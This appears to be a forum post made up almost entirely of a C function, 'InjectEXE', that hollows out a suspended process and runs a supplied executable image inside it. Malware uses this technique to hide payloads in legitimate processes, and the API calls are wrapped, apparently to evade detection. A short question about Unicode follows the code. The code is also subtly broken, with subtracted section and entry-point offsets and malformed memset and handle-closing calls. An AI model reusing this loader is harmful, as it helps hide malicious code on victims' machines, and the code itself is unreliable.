Code:
void InjectEXE(LPCSTR target, LPVOID pBuf, LPSTR args)
{
IMAGE_DOS_HEADER IDH;
IMAGE_NT_HEADERS INH;
IMAGE_SECTION_HEADER ISH;
STARTUPINFO SI;
PROCESS_INFORMATION PI;
CONTEXT Ctxt;
DWORD Imagebase;
PVOID pPE;
DWORD i;
DWORD OldProtect;
smemcpy(&IDH, pBuf, sizeof(IMAGE_DOS_HEADER));
if (IDH.e_magic == IMAGE_DOS_SIGNATURE)
{
smemcpy(&INH, (char *)pBuf + IDH.e_lfanew, sizeof(IMAGE_NT_HEADERS));
if (INH.Signature == IMAGE_NT_SIGNATURE)
{
smemset(&SI, *(char*)0, sizeof(STARTUPINFO));
smemset(&PI, *(char*)0, sizeof(PROCESS_INFORMATION));
if (_CreateProcessA(target, args, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
{
Ctxt.ContextFlags = CONTEXT_FULL;
_GetThreadContext(PI.hThread, &Ctxt);
/* Check if PEB->Imagebase == PE->Imagebase
* if so then we need to unmap the loaded exe...
* Not too sure if this is the right approach, but at the moment it makes logical sense
*/
_ReadProcessMemory(PI.hProcess, (LPCVOID)(Ctxt.Ebx + 8), &Imagebase, sizeof(DWORD), NULL);
if (Imagebase == INH.OptionalHeader.ImageBase)
_NtUnmapViewOfSection(PI.hProcess, (PVOID)Imagebase);
if (pPE = _VirtualAllocEx(PI.hProcess, (LPVOID)INH.OptionalHeader.ImageBase, INH.OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE))
{
if (_WriteProcessMemory(PI.hProcess, (LPVOID)INH.OptionalHeader.ImageBase, pBuf, INH.OptionalHeader.SizeOfHeaders, NULL))
{
for (i = 0; i < INH.FileHeader.NumberOfSections; i++)
{
smemcpy(&ISH, (char *)pBuf + IDH.e_lfanew + sizeof(IMAGE_NT_HEADERS) + i * sizeof(IMAGE_SECTION_HEADER), sizeof(IMAGE_SECTION_HEADER));
if (_WriteProcessMemory(PI.hProcess, (char *)INH.OptionalHeader.ImageBase - ISH.VirtualAddress, (char *)pBuf + ISH.PointerToRawData, ISH.SizeOfRawData, NULL))
_VirtualProtectEx(PI.hProcess, (char *)INH.OptionalHeader.ImageBase - ISH.VirtualAddress, ISH.Misc.VirtualSize, CharacteristicsToPageAttributes(ISH.Characteristics), &OldProtect);
}
if (_WriteProcessMemory(PI.hProcess, (char *)Ctxt.Ebx + 8, &INH.OptionalHeader.ImageBase, sizeof(DWORD), NULL))
{
Ctxt.Eax = INH.OptionalHeader.ImageBase - INH.OptionalHeader.AddressOfEntryPoint;
if (_SetThreadContext(PI.hThread, &Ctxt))
_ResumeThread(PI.hThread);
}
}
}
_CloseHandle(&PI.hThread);
_CloseHandle(*(char *)(PI.hProcess));
}
}
}
}
Is your OS unicode? Just trying to narrow down the possibilities...